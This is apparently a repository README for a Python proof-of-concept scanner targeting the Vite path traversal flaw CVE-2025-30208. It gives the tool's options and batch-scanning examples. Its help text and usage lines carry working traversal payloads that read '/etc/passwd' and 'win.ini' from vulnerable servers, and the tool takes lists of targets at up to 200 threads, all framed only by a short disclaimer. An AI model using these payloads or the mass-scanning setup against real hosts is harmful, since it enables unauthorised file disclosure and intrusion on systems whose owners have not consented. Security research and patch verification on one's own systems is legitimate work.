isee857/cve-2025-30208-pocVite-CVE-2025-30208动态检测脚本，支持默认路径，自定义路径动态检测
The vulnerabilities and reproduction steps described in this article are intended solely for cybersecurity research and educational purposes. No one shall use the information provided in this article for illegal purposes or unauthorized system testing. The author assumes no responsibility for any direct or indirect damages resulting from the use of this information.
Please cite the source when quoting!
https://pc.fenchuan8.com/#/index?forum=101158&yqm=DGR4X
usage: vite_check.py [-h] [-f FILE] [-u URL] [-p PAYLOAD] [--proxy PROXY] [-o OUTPUT] [-t THREADS]
Vite Path Traversal Vulnerability Detection Tool Author:iSee857
optional arguments:
-h, --help Show help information
-f FILE, --file FILE File containing target URLs
-u URL, --url URL Single target URL
-p PAYLOAD, --payload PAYLOAD
Custom detection path (supports two formats):
1. With detection identifier: /path??indicator
2. Only path: /path?param=1??
Examples:
-p "/@fs/C://windows/win.ini?import&raw??"
-p "/@fs/etc/passwd?import&raw??"
--proxy PROXY Proxy server address (e.g., http://127.0.0.1:8080)
-o OUTPUT, --output OUTPUT
Output file name (default: results.xlsx)
-t THREADS, --threads THREADS
Number of concurrent threads (default: 50, range: 1-200)```
Usage Examples
1. Scan a single target:
python CVE-2025-30208-PoC.py -u http://example.com -t 5
2、Batch scan target files:
python CVE-2025-30208-PoC.py -f targets.txt -o vuln_results.xlsx
3、Use custom payload:
python CVE-2025-30208-PoC.py -u http://example.com -p "/@fs/etc/passwd?import&raw??"
4、Use proxy for debugging:
python CVE-2025-30208-PoC.py -u http://example.com --proxy http://127.0.0.1:8080
5、Combine parameters:
python CVE-2025-30208-PoC.py -f targets.txt -t 200 -o critical_vulns.xlsx
